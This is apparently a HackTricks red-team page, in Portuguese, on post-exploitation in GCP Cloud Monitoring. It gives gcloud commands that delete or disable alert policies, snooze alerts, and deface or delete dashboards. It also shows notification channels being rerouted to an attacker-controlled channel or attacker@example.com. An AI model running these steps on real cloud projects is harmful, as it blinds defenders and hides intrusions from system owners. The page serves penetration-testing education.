GCP - Monitoring Post Exploitation

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Monitoring

Para mais informaçÔes, veja:

GCP - Monitoring Enum

Para outras formas de interromper logs, veja:

GCP - Logging Post Exploitation

monitoring.alertPolicies.delete

Excluir uma alert policy:

Excluir alert policy ```bash gcloud alpha monitoring policies delete ```

monitoring.alertPolicies.update

Interromper uma polĂ­tica de alertas:

Interromper uma polĂ­tica de alertas ```bash # Disable policy gcloud alpha monitoring policies update --no-enabled

Remove all notification channels

gcloud alpha monitoring policies update –clear-notification-channels

Chnage notification channels

gcloud alpha monitoring policies update –set-notification-channels=ATTACKER_CONTROLLED_CHANNEL

Modify alert conditions

gcloud alpha monitoring policies update –policy=“{ ‘displayName’: ‘New Policy Name’, ‘conditions’: [ 
 ], ‘combiner’: ‘AND’, 
 }”

or use –policy-from-file

</details>

### `monitoring.dashboards.update`

Modificar um dashboard para perturbĂĄ-lo:

<details>

<summary>Perturbar dashboard</summary>
```bash
# Disrupt dashboard
gcloud monitoring dashboards update <dashboard> --config='''
displayName: New Dashboard with New Display Name
etag: 40d1040034db4e5a9dee931ec1b12c0d
gridLayout:
widgets:
- text:
content: Hello World
'''

monitoring.dashboards.delete

Excluir um dashboard:

Excluir dashboard ```bash # Delete dashboard gcloud monitoring dashboards delete ```

monitoring.snoozes.create

Impedir que as polĂ­ticas gerem alertas criando um snoozer:

Criar snoozer para parar alertas ```bash # Stop alerts by creating a snoozer gcloud monitoring snoozes create --display-name="Maintenance Week" \ --criteria-policies="projects/my-project/alertPolicies/12345,projects/my-project/alertPolicies/23451" \ --start-time="2023-03-01T03:00:00.0-0500" \ --end-time="2023-03-07T23:59:59.5-0500" ```

monitoring.snoozes.update

Atualize o agendamento de um snoozer para evitar que alerts sejam criados quando o attacker estiver interessado:

Atualizar agendamento do snoozer ```bash # Modify the timing of a snooze gcloud monitoring snoozes update --start-time=START_TIME --end-time=END_TIME

odify everything, including affected policies

gcloud monitoring snoozes update –snooze-from-file=

</details>

### `monitoring.notificationChannels.delete`

Excluir um canal configurado:

<details>

<summary>Excluir canal de notificação</summary>
```bash
# Delete channel
gcloud alpha monitoring channels delete <channel>

monitoring.notificationChannels.update

Atualize os labels de um channel para interrompĂȘ-lo:

Atualizar labels do notification channel ```bash # Delete or update labels, for example email channels have the email indicated here gcloud alpha monitoring channels update CHANNEL_ID --clear-channel-labels gcloud alpha monitoring channels update CHANNEL_ID --update-channel-labels=email_address=attacker@example.com ```

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks